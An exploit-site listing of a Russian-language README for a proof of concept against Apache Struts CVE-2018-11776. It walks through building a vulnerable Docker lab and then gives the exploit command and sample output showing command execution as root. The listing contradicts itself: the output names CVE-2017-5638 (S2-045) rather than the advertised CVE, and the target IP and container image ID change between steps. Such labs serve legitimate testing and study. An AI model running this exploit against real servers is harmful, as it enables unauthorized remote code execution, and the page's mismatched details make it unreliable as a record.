Sploitus

Exploit for ApacheStruts

kitploit · 2026-08-25

Exploit Code

MARKDOWN85 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FRESHDEMO-APACHESTRUTS-CVE-2018-11776
### Apache Struts CVE-2018-11776 Python PoC

Это основано на https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. Сборка контейнера и инструкции не работали, как описано в README, поэтому был создан этот форк. Используемый эксплойт POC взят из Rapid7. 

Благодарности: 

hook-s3c (github.com/hook-s3c), @hook_s3c в twitter   
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064 

### Введение

Ман Юэ Мо из Semmle раскрыла уязвимость удаленного выполнения кода (RCE) в Struts2, которая доставляется через полезную нагрузку, закодированную в пути URL запроса. 

Затронуты версии с 2.3 до 2.3.34 и с 2.5 до 2.5.16. 

Конфигурация по умолчанию не уязвима. Этот контейнер и многие другие уязвимы. 

### Шаг 1 - Сборка контейнера

Предпочтительнее собирать контейнер из Dockerfile, когда можно видеть, что входит в сборку. 

  
` git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts `   
` cd Struts `   
` docker build . -t freshdemo/apachestruts `   
  


Найдите новый контейнер с помощью 

  
` docker images `   
  


Вывод должен быть похож на этот, где вы можете получить ID образа. 

  


root@kitploit:~
    
    
       root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images
    REPOSITORY                                 TAG                 IMAGE ID            CREATED              SIZE   
    
    freshdemo/apachestruts                     latest              6586cedf49fa        About a minute ago   542MB   
    
    

  


### Шаг 2 - Запуск контейнера

Соберите и запустите контейнер следующей командой. 

  
` docker run -d --name apachestruts -p 8080:8080 d39018c50afe `   


### Шаг 3 - Эксплуатация

Убедитесь, что любые входящие/исходящие брандмауэры разрешают порт, который вы указали ранее (8080), и запустите эксплойт против вашей цели с помощью следующей команды. 

  
` python struts.py http://192.168.2.188:8080 'id' `   
  


Ваш вывод должен быть похож на этот. 

  


root@kitploit:~
    
    
    root@k:/home/s# python struts.py http://192.168.2.188:8080 'id'
    [*] CVE: 2017-5638 - Apache Struts2 S2-045
    http://13.88.250.188:8080 : [*] cmd: id
    
    
    uid=0(root) gid=0(root) groups=0(root)